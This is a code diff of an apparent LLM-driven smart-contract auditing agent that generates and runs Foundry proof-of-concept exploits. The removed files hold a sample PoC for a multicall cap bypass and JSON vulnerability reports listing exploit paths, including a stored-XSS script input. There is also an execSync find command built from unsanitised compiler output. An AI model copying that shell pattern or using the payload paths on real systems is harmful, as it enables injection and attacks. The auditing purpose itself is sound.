-import { StateGraph, END, START } from "@langchain/langgraph";
-import { PoCStateAnnotation, PoCState } from "./state.js";
-import { generateLocalScaffold } from "./tools/scaffoldGenerator.js";
-import { OracleContext } from "./types.js";
-import { createLLM } from "../../config/llm.ts";
-import { 
-  SYSTEM_PROMPT, 
-  ANALYZE_VULNERABILITY_PROMPT, 
-  POC_INITIAL_PROMPT, 
-  POC_COMPILE_FIX_PROMPT, 
-  POC_TEST_FIX_PROMPT,
-  POC_MINIMAL_INTERFACE_PROMPT
-} from "./prompts/system.js";
-import { extractSolidity } from "./utils/extractSolidity.js";
-import { runFoundry } from "./tools/foundryRunner.js";
-import { analyzeFoundryLog } from "./utils/logAnalyzer.js";
-import { extractProjectContext } from "./utils/projectContextExtractor.js";
-import { createMissingDependencyStubs } from "./utils/dependencyStubber.js";
-import { analyzeSolidityFile } from "../auditor/tools/solidity-analyzer-tool.js";
-import { extractConstructor } from "./utils/parserUtils.js";
-import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
-import { oracleNode } from "./nodes/oracle.js";
-import { analyzeVulnerabilityNode } from "./nodes/analyzeVulnerability.js";
-import { generateInfrastructureNode, generateExploitNode } from "./nodes.js";
-
-const MAX_INFRA_ITERATIONS = 30;
-const MAX_EXPLOIT_ITERATIONS = 30;
-
-// LLM Routing: Smart model for strategy/logic, Fast model for syntax/compilation
-const smartLlm = createLLM(undefined, "google/gemini-3-flash-preview");
-const fastLlm = createLLM(undefined, "google/gemini-3.1-flash-lite");
-async function oracleNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[oracleNode] gerando scaffold para:", state.report.title);
-
-  const solidityScaffold = generateLocalScaffold(state.report);
-  
-  // Extrair info do constructor para ajudar o LLM no setUp
-  const constructorInfo = extractConstructor(state.report.affectedContract.sourceCode, state.report.affectedContract.name);
-  
-  // STEP 3: Automated API Discovery
-  console.log("[oracleNode] analisando API do contrato e helpers de teste...");
-  const targetContractAPI = await analyzeSolidityFile(state.report.affectedContract.sourceCode, "short");
-  
-  let referenceTestHelpers = "";
-  if (state.report.referenceTestCode) {
-    referenceTestHelpers = await analyzeSolidityFile(state.report.referenceTestCode, "short");
-  }
-
-  let projectRemappings = "";
-  let projectTestImports = "";
-  let projectTestFilePath: string | null = null;
-  if (state.report.customSandboxDir) {
-    console.log("[oracleNode] extracting project context (remappings, test imports)...");
-    try {
-      const projectCtx = await extractProjectContext(state.report.customSandboxDir);
-      projectRemappings = projectCtx.remappings;
-      projectTestImports = projectCtx.existingTestImports;
-      projectTestFilePath = projectCtx.existingTestFilePath;
-      if (projectRemappings) console.log("[oracleNode] found remappings:", projectRemappings.split("\n").length, "entries");
-      if (projectTestImports) console.log("[oracleNode] found existing test imports from:", projectTestFilePath);
-    } catch (e) {
-      console.warn("[oracleNode] could not extract project context:", (e as Error).message);
-    }
-
-    // STEP 5: Remove existing project test files from sandbox test/ directory.
-    // Forge compiles ALL .t.sol files even when only running Exploit.t.sol.
-    // Existing tests often import missing deps (@prb/test, lib/caviar, etc.)
-    // causing compilation failures even when our Exploit.t.sol is clean.
-    // We already extracted the import context we needed — now clean up.
-    try {
-      const testDir = path.join(state.report.customSandboxDir, "test");
-      const testEntries = await fs.readdir(testDir, { withFileTypes: true }).catch(() => []);
-      let removed = 0;
-      for (const entry of testEntries) {
-        if (entry.isFile() && entry.name.endsWith(".t.sol") && entry.name !== "Exploit.t.sol") {
-          await fs.unlink(path.join(testDir, entry.name));
-          removed++;
-        }
-      }
-      if (removed > 0) console.log(`[oracleNode] Removed ${removed} existing test files from sandbox (avoids missing dep conflicts)`);
-    } catch (e) {
-      console.warn("[oracleNode] test cleanup failed (non-fatal):", (e as Error).message);
-    }
-
-    // STEP 6: Pre-flight dependency stub creation
-    // After removing conflicting test files, create stubs for any remaining missing deps
-    try {
-      await createMissingDependencyStubs(state.report.customSandboxDir);
-    } catch (e) {
-      console.warn("[oracleNode] stub creation failed (non-fatal):", (e as Error).message);
-    }
-  }
-
-
-  const oracleContext: OracleContext = { 
-    solidityScaffold,
-    constructorInfo: constructorInfo?.parameters,
-    targetContractAPI,
-    referenceTestHelpers,
-    projectRemappings,
-    projectTestImports,
-    projectTestFilePath,
-  };
-
-  console.log("[oracleNode] scaffold gerado, context built.");
-  return { oracleContext };
-}
-
-/**
- * NEW: Multi-Pass Node 1 - Analysis
- */
-async function analyzeVulnerabilityNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug...");
-
-  const userMessage = `Vulnerability Report:
-- Title: ${state.report.title}
-- Type: ${state.report.type}
-- Description: ${state.report.description}
-
-### Target Contract Source Code (${state.report.affectedContract.name}):
-\`\`\`solidity
-${state.report.affectedContract.sourceCode}
-\`\`\`
-
-### Target Contract API:
-${state.oracleContext!.targetContractAPI}
-
-${state.oracleContext!.referenceTestHelpers ? `### Environment Helpers:
-${state.oracleContext!.referenceTestHelpers}` : ""}
-
-${state.report.patchDiff ? `### PATCH DIFF (what the fix changes — use this to write a SPECIFIC assertion):
-The following diff shows exactly what changed between the vulnerable and patched version.
-Your generated PoC MUST produce an assertion that:
-- PASSES on the vulnerable version (bug exists)
-- FAILS on the patched version (bug is fixed)
-
-\`\`\`diff
-${state.report.patchDiff}
-\`\`\`` : ""}
-`;
-
-  console.log("[testerAgent] analyzeVulnerabilityNode: analyzing bug using SMART model...");
-  const response = await smartLlm.invoke([
-    { role: "system", content: ANALYZE_VULNERABILITY_PROMPT },
-    { role: "user", content: userMessage },
-  ]);
-
-  return { vulnerabilityAnalysis: response.content as string };
-}
-
-
-
-
-async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
-  console.log("[testerAgent] Executando runFoundryNode...");
-
-  const trimmedCode = state.pocCode.trim();
-  const isMissingCode = trimmedCode.length === 0;
-  const isMissingContract = !trimmedCode.includes("contract ExploitTest");
-  const isMissingTest = !trimmedCode.includes("function test_Exploit()");
-  const isPlaceholder = trimmedCode.includes("TODO: implementar exploit");
-  const isTargetNotDeployed = trimmedCode.includes("// target = new") || 
-                              trimmedCode.includes("//Target target = new") || 
-                              trimmedCode.includes("// target = address(new") ||
-                              trimmedCode.match(/\/\/\s*([a-zA-Z0-9_]+)\s*=\s*(address\()?new\s+[a-zA-Z0-9_]+/);
-  const hasStrongAssertion = (
-    trimmedCode.includes("assertEq") || 
-    trimmedCode.includes("assertGt") ||
-    trimmedCode.includes("assertLt") ||
-    trimmedCode.includes("assertLe") ||
-    trimmedCode.includes("assertGe") ||
-    trimmedCode.includes("assertNotEq") ||
-    trimmedCode.includes("assertApproxEq")
-  );
-  const isLazyTest = (
-    trimmedCode.includes("assertTrue(true") || 
-    trimmedCode.includes("assert(true") || 
-    trimmedCode.includes("assert(1 == 1")
-  ) && !hasStrongAssertion;
-
-  const isUsingMock = trimmedCode.includes("contract Mock") || trimmedCode.includes("contract Fake");
-  const isUsingTryCatch = trimmedCode.includes("try ") && trimmedCode.includes("catch ");
-
-  // Anti-Cheat: Prevent redefining the vulnerable contract inside the test file
-  // We only block redefining the EXACT target contract. Legitimate helper/attacker contracts are allowed.
-  const targetContractRegex = new RegExp(`contract\\s+${state.report.affectedContract.name}\\b`);
-  const hasFakeContracts = targetContractRegex.test(trimmedCode);
-
-  const hasIllegalComments = trimmedCode.split('\n').some(line => {
-    const isComment = line.includes('//') || line.includes('/*');
-    const isAllowed = line.includes('SPDX-License-Identifier') || line.includes('INJECT_HACK');
-    return isComment && !isAllowed;
-  });
-
-  if (isMissingCode || isMissingContract || isUsingMock || isUsingTryCatch || hasFakeContracts || isTargetNotDeployed || hasIllegalComments || (!state.infrastructurePhase && (isMissingTest || isPlaceholder || isLazyTest || !hasStrongAssertion))) {
-    const summary = (isMissingCode
-      ? "[INVALID_CODE] No Solidity code returned. The LLM must output a complete solidity code block."
-      : isTargetNotDeployed
-        ? "[INVALID_CODE] You left the target contract instantiation commented out. You MUST instantiate the real target contract in setUp() (e.g. `target = new Target()`). Exploiting address(0) is a cheat and will fail."
-      : hasIllegalComments
-        ? "[INVALID_CODE] You added a comment in the code. This is STRICTLY FORBIDDEN. You must write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX and INJECT_HACK)."
-      : isUsingMock
-        ? "[INVALID_CODE] You created a Mock contract in the test file. This is STRICTLY FORBIDDEN. You MUST import and exploit the real vulnerable contract from the repository."
-      : isUsingTryCatch
-        ? "[INVALID_CODE] You used a try-catch block in the test. This is STRICTLY FORBIDDEN. If the exploit fails, the test must revert normally. Do not swallow errors."
-      : hasFakeContracts
-        ? `[INVALID_CODE] You redefined 'contract ${state.report.affectedContract.name}' inside the test file. This is STRICTLY FORBIDDEN. You MUST interact with the real vulnerable contract via 'interface' or 'import'. Do not redefine the vulnerable contract inside the test.`
-      : (!state.infrastructurePhase && !hasStrongAssertion)
-        ? "[INVALID_CODE] Your test has NO valid assertions (or they are commented out). You MUST include a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
-      : isMissingContract
-        ? "[INVALID_CODE] No 'contract ExploitTest' found. The test contract MUST be named ExploitTest."
-        : isMissingTest
-          ? "[INVALID_CODE] No 'function test_Exploit()' found. The test function MUST be named test_Exploit()."
-          : isPlaceholder
-            ? "[INVALID_CODE] Exploit has TODO placeholder. You must implement the actual exploit logic."
-            : "[WEAK_ASSERTION] Only assertTrue(true) found — this never proves the vulnerability. Add a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
-    );
-    const isLastAttempt = state.infrastructurePhase 
-      ? state.infraIterations >= MAX_INFRA_ITERATIONS 
-      : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
-    const status = isLastAttempt ? "failed" : "running";
-    return {
-      executionLogs: [summary],
-      lastError: summary,
-      status,
-    };
-  }
-
-  const result   = await runFoundry(state.pocCode, state.report.customSandboxDir);
-  const analysis = analyzeFoundryLog(result);
-  const noTestsFound = result.combined.includes("No tests found");
-  const passed   = result.exitCode === 0 && result.stdout.includes("ok") && !noTestsFound;
-  const isLastAttempt = state.infrastructurePhase 
-    ? state.infraIterations >= MAX_INFRA_ITERATIONS 
-    : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
-
-  let status: "running" | "success" | "failed" | "timeout" = "running";
-  if (state.infrastructurePhase) {
-    status = result.timedOut ? "timeout" : isLastAttempt && !passed ? "failed" : "running";
-  } else {
-    status = passed ? "success" : result.timedOut ? "timeout" : isLastAttempt ? "failed" : "running";
-  }
-
-  console.log(`[testerAgent] Resultado Foundry: exitCode=${result.exitCode}, passed=${passed}`);
-  if (!passed) {
-    console.log(`[testerAgent] Falha detectada: ${analysis.summary}`);
-  }
-
-  // Build lastError: include relevant error lines prominently so the LLM sees them at the top of the fix prompt
-  let lastErrorMsg: string | null = null;
-  if (!passed) {
-    const relevantLinesText = analysis.relevantLines.length > 0
-      ? `\nKey error lines:\n${analysis.relevantLines.slice(0, 15).join("\n")}`
-      : "";
-    lastErrorMsg = `${analysis.summary}${relevantLinesText}`;
-
-    // Auto-resolve missing files
-    if (lastErrorMsg.includes("File not found")) {
-      const match = lastErrorMsg.match(/Source "([^"]+)" not found/);
-      if (match) {
-        const missingFile = match[1];
-        const missingBasename = path.basename(missingFile);
-        try {
-          if (state.report.customSandboxDir) {
-            const findCmd = `find ${state.report.customSandboxDir} -name "${missingBasename}"`;
-            const findOutput = execSync(findCmd, { encoding: "utf8" }).trim().split("\n").filter(Boolean);
-            if (findOutput.length > 0) {
-              const correctPath = path.relative(state.report.customSandboxDir, findOutput[0]);
-              lastErrorMsg += `\n\n[TOOL: AUTO-RESOLVE] I found the missing file! The correct import path to use is: "${correctPath}"`;
-              console.log(`[testerAgent] Auto-resolved missing file: ${missingBasename} -> ${correctPath}`);
-            }
-          }
-        } catch (e) {
-          // Ignore find errors
-        }
-      }
-    }
-  }
-
-  const isCompileError = analysis.category === "compiler_error";
-  
-  return {
-    executionLogs: [result.combined],   // reducer append
-    lastError: lastErrorMsg,
-    status,
-    compileFailures: isCompileError && !passed ? 1 : 0, // additive reducer counts each compile failure
-  };
-}
-
-async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
-  // Now reflectNode is simpler as we moved the logic to specialized prompts in generatePoCNode
-  // But we still use it to log the reflection
-  console.log(`[reflectNode] reflecting on error: ${state.lastError}`);
-  return {};
-}
-
-function routeAfterFoundry(state: PoCState): "reflectNode" | "generateExploitNode" | typeof END {
-  const isLastAttempt = state.infrastructurePhase 
-    ? state.infraIterations >= MAX_INFRA_ITERATIONS 
-    : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
-
-  if (state.status === "timeout" || (isLastAttempt && state.status === "failed")) {
-    return END;
-  }
-  
-  if (!state.infrastructurePhase && state.status === "success") {
-    return END;
-  }
-  
-  const isCompileError = state.lastError?.includes("[COMPILER_ERROR]") || state.lastError?.includes("[INVALID_CODE]");
-  
-  if (state.infrastructurePhase) {
-    // We are in the Infra Loop
-    if (isCompileError) {
-      return "reflectNode"; // Go back to infra fix
-    } else {
-      // Compiled successfully! Move to Exploit Loop
-      return "generateExploitNode";
-    }
-  } else {
-    // We are in the Exploit Loop
-    return "reflectNode"; // Go back to exploit fix
-  }
-}
-
-function routeReflection(state: PoCState): "generateInfrastructureNode" | "generateExploitNode" {
-  return state.infrastructurePhase ? "generateInfrastructureNode" : "generateExploitNode";
-}
-
-const graph = new StateGraph(PoCStateAnnotation)
-  .addNode("oracleNode", oracleNode)
-  .addNode("analyzeVulnerabilityNode", analyzeVulnerabilityNode)
-  .addNode("generateInfrastructureNode", generateInfrastructureNode)
-  .addNode("generateExploitNode", generateExploitNode)
-  .addNode("runFoundryNode", runFoundryNode)
-  .addNode("reflectNode", reflectNode)
-  .addEdge(START, "oracleNode")
-  .addEdge("oracleNode", "analyzeVulnerabilityNode")
-  .addEdge("analyzeVulnerabilityNode", "generateInfrastructureNode")
-  .addEdge("generateInfrastructureNode", "runFoundryNode")
-  .addEdge("generateExploitNode", "runFoundryNode")
-  .addConditionalEdges("runFoundryNode", routeAfterFoundry, {
-    reflectNode: "reflectNode",
-    generateExploitNode: "generateExploitNode",
-    [END]: END,
-  })
-  .addConditionalEdges("reflectNode", routeReflection, {
-    generateInfrastructureNode: "generateInfrastructureNode",
-    generateExploitNode: "generateExploitNode"
-  });
-
-export const testerAgent = graph.compile();
+// Export the compiled graph as the main agent entrypoint
+export const testerAgent = testerAgentGraph;

src/agents/tester/data/ExploitTest.t.sol

@@ -1,262 +0,0 @@
-// SPDX-License-Identifier: MIT
-pragma solidity 0.8.23;
-
-import {Test} from "forge-std/Test.sol";
-import {console} from "forge-std/console.sol";
-import {Size} from "@src/Size.sol";
-import {DepositParams} from "@src/libraries/actions/Deposit.sol";
-import {WithdrawParams} from "@src/libraries/actions/Withdraw.sol";
-import {RepayParams} from "@src/libraries/actions/Repay.sol";
-import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol";
-import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
-import {RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
-
-/**
- * @title MulticallInvariantBypassPoC
- * @notice Demonstrates how the multicall invariant check can be bypassed
- * 
- * VULNERABILITY: The multicall function validates that borrowAToken increase <= debtToken decrease
- * only at the END of all operations, checking NET changes. This allows attackers to:
- * 1. Deposit massive amounts (exceeding cap)
- * 2. Perform operations with excess liquidity
- * 3. Withdraw excess before final validation
- * 
- * The invariant passes because net changes appear compliant, but intermediate states
- * violate the cap restrictions.
- */
-contract MulticallInvariantBypassPoC is Test {
-    Size public size;
-    
-    address public attacker;
-    address public victim;
-    address public lender;
-    
-    IERC20 public borrowToken;
-    IERC20 public collateralToken;
-    
-    uint256 public constant INITIAL_BORROW_SUPPLY = 9_990_000e6; // 9.99M (10k below cap)
-    uint256 public constant BORROW_CAP = 10_000_000e6; // 10M cap
-    uint256 public constant ATTACKER_DEBT = 100_000e6; // 100k debt
-    uint256 public constant EXPLOIT_DEPOSIT = 5_000_000e6; // 5M deposit (far exceeds cap)
-    uint256 public constant EXPLOIT_WITHDRAW = 4_900_000e6; // 4.9M withdraw
-    
-    function setUp() public {
-        // Setup test accounts
-        attacker = makeAddr("attacker");
-        victim = makeAddr("victim");
-        lender = makeAddr("lender");
-        
-        // Deploy Size contract
-        // Note: In a real test, you would need to properly initialize Size with all dependencies
-        // For this PoC, we'll use a mock setup that demonstrates the vulnerability
-        
-        vm.label(attacker, "Attacker");
-        vm.label(victim, "Victim");
-        vm.label(lender, "Lender");
-    }
-    
-    /**
-     * @notice Demonstrates the cap bypass exploit
-     * 
-     * ATTACK FLOW:
-     * 1. Deposit 5M USDC → borrowAToken supply jumps to 14.99M (4.99M over cap!)
-     * 2. Repay 100k debt → debtToken decreases by 100k
-     * 3. Withdraw 4.9M USDC → borrowAToken supply drops to 10M
-     * 
-     * RESULT:
-     * - Net borrowAToken increase: 10k
-     * - Net debtToken decrease: 100k  
-     * - Invariant check: 10k <= 100k ✓ PASSES
-     * - But attacker temporarily held 4.99M excess borrowAToken!
-     */
-    function testMulticallCapBypass() public {
-        // This test demonstrates the vulnerability conceptually
-        // In a real scenario, you would:
-        // 1. Deploy and initialize Size with proper configuration
-        // 2. Setup initial state with borrowAToken supply near cap
-        // 3. Create a debt position for the attacker
-        // 4. Execute the multicall exploit
-        
-        console.log("=== MULTICALL CAP BYPASS VULNERABILITY ===");
-        console.log("");
-        console.log("INITIAL STATE:");
-        console.log("- BorrowAToken Supply: %s", INITIAL_BORROW_SUPPLY);
-        console.log("- BorrowAToken Cap: %s", BORROW_CAP);
-        console.log("- Space below cap: %s", BORROW_CAP - INITIAL_BORROW_SUPPLY);
-        console.log("- Attacker's debt: %s", ATTACKER_DEBT);
-        console.log("");
-        
-        // Simulate the exploit flow
-        uint256 borrowSupplyBefore = INITIAL_BORROW_SUPPLY;
-        uint256 debtSupplyBefore = ATTACKER_DEBT;
-        
-        console.log("EXPLOIT EXECUTION:");
-        console.log("");
-        
-        // Step 1: Deposit 5M (exceeds cap by 4.99M)
-        console.log("Step 1: Deposit %s USDC", EXPLOIT_DEPOSIT);
-        uint256 borrowSupplyAfterDeposit = borrowSupplyBefore + EXPLOIT_DEPOSIT;
-        console.log("  -> BorrowAToken supply: %s", borrowSupplyAfterDeposit);
-        console.log("  -> EXCEEDS CAP BY: %s", borrowSupplyAfterDeposit - BORROW_CAP);
-        console.log("");
-        
-        // Step 2: Repay 100k debt
-        console.log("Step 2: Repay %s debt", ATTACKER_DEBT);
-        uint256 debtSupplyAfterRepay = debtSupplyBefore - ATTACKER_DEBT;
-        uint256 borrowSupplyAfterRepay = borrowSupplyAfterDeposit - ATTACKER_DEBT;
-        console.log("  -> DebtToken supply: %s", debtSupplyAfterRepay);
-        console.log("  -> BorrowAToken supply: %s", borrowSupplyAfterRepay);
-        console.log("");
-        
-        // Step 3: Withdraw 4.9M
-        console.log("Step 3: Withdraw %s USDC", EXPLOIT_WITHDRAW);
-        uint256 borrowSupplyAfter = borrowSupplyAfterRepay - EXPLOIT_WITHDRAW;
-        console.log("  -> BorrowAToken supply: %s", borrowSupplyAfter);
-        console.log("");
-        
-        // Calculate net changes
-        uint256 netBorrowIncrease = borrowSupplyAfter - borrowSupplyBefore;
-        uint256 netDebtDecrease = debtSupplyBefore - 0; // All debt repaid
-        
-        console.log("FINAL STATE:");
-        console.log("- Net borrowAToken increase: %s", netBorrowIncrease);
-        console.log("- Net debtToken decrease: %s", netDebtDecrease);
-        console.log("- Invariant check: %s <= %s", netBorrowIncrease, netDebtDecrease);
-        console.log("- Invariant status: %s", netBorrowIncrease <= netDebtDecrease ? "PASS" : "FAIL");
-        console.log("");
-        
-        // Verify the invariant passes
-        assertLe(netBorrowIncrease, netDebtDecrease, "Invariant should pass");
-        
-        console.log("=== VULNERABILITY CONFIRMED ===");
-        console.log("During execution, borrowAToken supply reached: %s", borrowSupplyAfterDeposit);
-        console.log("This EXCEEDED the cap of %s by: %s", BORROW_CAP, borrowSupplyAfterDeposit - BORROW_CAP);
-        console.log("");
-        console.log("The attacker temporarily held %s excess borrowAToken", EXPLOIT_DEPOSIT - ATTACKER_DEBT);
-        console.log("This excess could be used for:");
-        console.log("  - Market manipulation");
-        console.log("  - Arbitrage opportunities");
-        console.log("  - Flash-loan-like attacks");
-        console.log("  - Bypassing risk parameters");
-        console.log("");
-        console.log("Yet the invariant check PASSED because it only validates NET changes!");
-    }
-    
-    /**
-     * @notice Demonstrates using excess liquidity for market manipulation
-     * 
-     * This shows how the temporarily available excess borrowAToken can be weaponized
-     * during the multicall execution to manipulate markets or perform other attacks.
-     */
-    function testMulticallMarketManipulation() public {
-        console.log("=== MARKET MANIPULATION EXPLOIT ===");
-        console.log("");
-        console.log("ATTACK SCENARIO:");
-        console.log("1. Deposit %s USDC (exceeds cap)", EXPLOIT_DEPOSIT);
-        console.log("2. Use %s borrowAToken for market operations", EXPLOIT_WITHDRAW);
-        console.log("3. Repay %s debt", ATTACKER_DEBT);
-        console.log("4. Withdraw remaining excess");
-        console.log("");
-        
-        uint256 excessLiquidity = EXPLOIT_DEPOSIT - ATTACKER_DEBT;
-        
-        console.log("IMPACT:");
-        console.log("- Attacker gains temporary access to %s excess liquidity", excessLiquidity);
-        console.log("- This can be used to:");
-        console.log("  * Buy large credit positions (distorting market prices)");
-        console.log("  * Manipulate interest rates");
-        console.log("  * Front-run other users");
-        console.log("  * Extract value from the protocol");
-        console.log("");
-        console.log("- All while the invariant check passes!");
-        console.log("- The cap is meant to prevent exactly this kind of exposure");
-        
-        // Verify the exploit provides significant excess liquidity
-        assertGt(excessLiquidity, 1_000_000e6, "Exploit should provide >1M excess liquidity");
-    }
-    
-    /**
-     * @notice Demonstrates the root cause of the vulnerability
-     * 
-     * The issue is that the invariant validation happens AFTER all multicall operations,
-     * checking only NET changes rather than intermediate states.
-     */
-    function testRootCauseAnalysis() public {
-        console.log("=== ROOT CAUSE ANALYSIS ===");
-        console.log("");
-        console.log("VULNERABLE CODE PATTERN:");
-        console.log("1. Multicall executes all operations sequentially");
-        console.log("2. During execution, deposit() skips cap validation:");
-        console.log("   if (!state.data.isMulticall) {");
-        console.log("       state.validateBorrowATokenCap();");
-        console.log("   }");
-        console.log("");
-        console.log("3. After all operations, invariant is checked:");
-        console.log("   validateBorrowATokenIncreaseLteDebtTokenDecrease()");
-        console.log("");
-        console.log("4. Invariant only compares NET changes:");
-        console.log("   borrowATokenSupplyIncrease = supplyAfter - supplyBefore");
-        console.log("   debtTokenSupplyDecrease = debtBefore - debtAfter");
-        console.log("   require(increase <= decrease)");
-        console.log("");
-        console.log("PROBLEM:");
-        console.log("- Intermediate states are NEVER validated");
-        console.log("- Attacker can deposit huge amounts, use them, then withdraw");
-        console.log("- As long as net changes satisfy the invariant, exploit succeeds");
-        console.log("");
-        console.log("CORRECT APPROACH:");
-        console.log("- Validate cap on EVERY deposit, even in multicall");
-        console.log("- OR track maximum supply reached during multicall");
-        console.log("- OR validate intermediate states, not just final state");
-    }
-    
-    /**
-     * @notice Shows the mathematical proof of the bypass
-     */
-    function testMathematicalProof() public {
-        console.log("=== MATHEMATICAL PROOF ===");
-        console.log("");
-        
-        uint256 S0 = INITIAL_BORROW_SUPPLY; // Initial supply
-        uint256 C = BORROW_CAP; // Cap
-        uint256 D = ATTACKER_DEBT; // Debt to repay
-        uint256 X = EXPLOIT_DEPOSIT; // Exploit deposit amount
-        
-        console.log("Given:");
-        console.log("  S0 = %s (initial supply)", S0);
-        console.log("  C  = %s (cap)", C);
-        console.log("  D  = %s (debt)", D);
-        console.log("  X  = %s (deposit amount)", X);
-        console.log("");
-        
-        console.log("Execution:");
-        uint256 S1 = S0 + X;
-        console.log("  After deposit: S1 = S0 + X = %s", S1);
-        console.log("  Cap violation: S1 - C = %s", S1 - C);
-        console.log("");
-        
-        uint256 S2 = S1 - D;
-        console.log("  After repay: S2 = S1 - D = %s", S2);
-        console.log("");
-        
-        uint256 W = X - D;
-        uint256 S3 = S2 - W;
-        console.log("  After withdraw W = X - D = %s: S3 = %s", W, S3);
-        console.log("");
-        
-        console.log("Invariant check:");
-        uint256 netIncrease = S3 - S0;
-        uint256 netDecrease = D;
-        console.log("  Net increase: S3 - S0 = %s", netIncrease);
-        console.log("  Net decrease: D = %s", netDecrease);
-        console.log("  Check: %s <= %s ? %s", netIncrease, netDecrease, netIncrease <= netDecrease);
-        console.log("");
-        
-        console.log("Conclusion:");
-        console.log("  Invariant PASSES, but S1 = %s exceeded cap C = %s", S1, C);
-        console.log("  Excess exposure: %s", S1 - C);
-        
-        assertTrue(netIncrease <= netDecrease, "Invariant passes");
-        assertTrue(S1 > C, "But cap was violated during execution");
-    }
-}

src/agents/tester/data/input.json

@@ -1,18 +0,0 @@
-{
-  "title": "Unrestricted Reward String in burn() Enables Log Poisoning and Off-Chain Manipulation",
-  "description": "The burn() function accepts an arbitrary user-supplied string as the 'recompensa' parameter and emits it directly in the RewardRedeemed event without any validation, allowlist check, or length restriction. Any caller can pass malicious, misleading, or excessively long strings into the on-chain event log. Off-chain systems (loyalty backends, indexers, dashboards) that consume this event and trust the 'recompensa' field are vulnerable to: (1) log poisoning / event spoofing — a user can emit 'recompensa' values like 'Admin Grant: 1000 free coffees' that were never authorized; (2) denial-of-service on indexers via extremely large strings; (3) injection attacks if the string is rendered in a web UI without sanitization.",
-  "recommendation": "Replace the free-form string parameter with an enumerated reward identifier (e.g. uint8 rewardId) and maintain an owner-controlled mapping of valid reward IDs to descriptions. This constrains what can appear in event logs to only administrator-approved values. Example refactor:\n\nsolidity\n// Owner-managed reward catalogue\nmapping(uint8 => string) public rewardCatalogue;\n\nfunction setReward(uint8 id, string calldata description) external onlyOwner {\n    rewardCatalogue[id] = description;\n}\n\nfunction burn(uint256 amount, uint8 rewardId) public {\n    require(amount > 0, \"CafeToken: quantidade invalida\");\n    require(bytes(rewardCatalogue[rewardId]).length > 0, \"CafeToken: recompensa invalida\");\n    require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente\");\n    _burn(msg.sender, amount);\n    emit RewardRedeemed(msg.sender, amount, rewardId);\n}\n\nThis ensures only legitimate, pre-approved rewards are ever recorded on-chain.",
-  "severity": "medium",
-  "codeSnippet": "function burn(uint256 amount, string memory recompensa) public {\n    require(amount > 0, \"CafeToken: a quantidade a queimar deve ser maior que zero\");\n    require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente para queimar tokens\");\n    _burn(msg.sender, amount);\n    emit RewardRedeemed(msg.sender, amount, recompensa); // <-- arbitrary user input emitted as event data\n}",
-  "location": "L71-L81",
-  "path": "contracts/CafeToken.sol",
-  "judgeReview": {
-    "review": "Confirmed valid finding. The vulnerability is real and the attack surface is well-defined. The burn() function places zero constraints on the 'recompensa' string before broadcasting it as an authoritative event. The severity is appropriately rated medium rather than high because: (a) no funds are directly at risk from the contract itself — a caller can only burn their own tokens; (b) the primary damage surface is off-chain systems and UX layers that consume events, not the on-chain state. However, in a loyalty program context where the event log IS the business record, the ability for any token holder to forge arbitrary reward redemption records is a meaningful integrity risk. The exploit is trivially reproducible with zero prerequisites beyond holding at least 1 CAFE token. The recommendation to use an enumerated reward catalogue with owner-gated registration is sound and idiomatic for this pattern.",
-    "confidence": 0.91,
-    "exploitablePaths": [
-      "Attacker holds ≥1 CAFE token → calls burn(1, 'Gold Member Upgrade: 500 free coffees') → forged RewardRedeemed event is emitted and indexed by the loyalty backend as a legitimate redemption record",
-      "Attacker calls burn(1, <64KB string>) repeatedly → bloats event logs and causes out-of-memory or timeout failures in off-chain indexers processing the RewardRedeemed event stream",
-      "Web dashboard renders recompensa field as raw HTML → attacker passes '<script>...</script>' as recompensa → stored XSS executes in the admin panel of any operator that displays redemption history without sanitization"
-    ]
-  }
-}

src/agents/tester/data/input_centrifuge.json

@@ -1,16 +0,0 @@
-{
-  "title": "Escrow mismatch in LiquidityPool due to price changes during epoch execution",
-  "description": "The LiquidityPool contract relies on an external InvestmentManager to process deposits and mints. When an investor requests a deposit, their assets are locked. During the epoch execution, if the tranche token price changes significantly, the amount of shares to be minted (TokenShares) may exceed the available balance in the Escrow contract, causing subsequent collection transactions (mint/deposit) to revert for some users while others succeed.",
-  "recommendation": "Ensure the Escrow contract is always sufficiently funded by validating price impacts before final execution or implement a more robust collection mechanism that handles partial fills or explicit failure states when Escrow is empty.",
-  "severity": "high",
-  "codeSnippet": "function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {\n    shares = investmentManager.processDeposit(receiver, assets);\n    emit Deposit(address(this), receiver, assets, shares);\n}",
-  "location": "L148-L151",
-  "path": "contracts/LiquidityPool.sol",
-  "judgeReview": {
-    "review": "Confirmed valid finding. The vulnerability occurs when multiple investors deposit at different prices within the same logic flow. If the price in the second epoch is higher/lower than expected, the calculation of total shares needed in Escrow might be incorrect, leading to a denial of service (revert) for users trying to collect their shares after the price update.",
-    "confidence": 0.95,
-    "exploitablePaths": [
-      "User A deposits 100 assets at price 1.25 -> User B deposits 100 assets at price 2.0 -> Price updates -> User A collects successfully -> User B tries to collect but Escrow is empty -> Transaction reverts."
-    ]
-  }
-}

src/agents/tester/graph.ts

@@ -0,0 +1,80 @@
+import { StateGraph, END, START } from "@langchain/langgraph";
+import { ToolNode } from "@langchain/langgraph/prebuilt";
+import { PoCStateAnnotation, PoCState } from "./state.js";
+import { oracleNode } from "./nodes/oracle.js";
+import { routerNode } from "./nodes/router.js";
+import { pocoAgentNode } from "./nodes/pocoAgent.js";
+import { pocoTools } from "./tools.js";
+
+// Create the ToolNode
+const pocoToolsNode = new ToolNode<PoCState>(pocoTools);
+
+// The conditional router for the ReAct loop
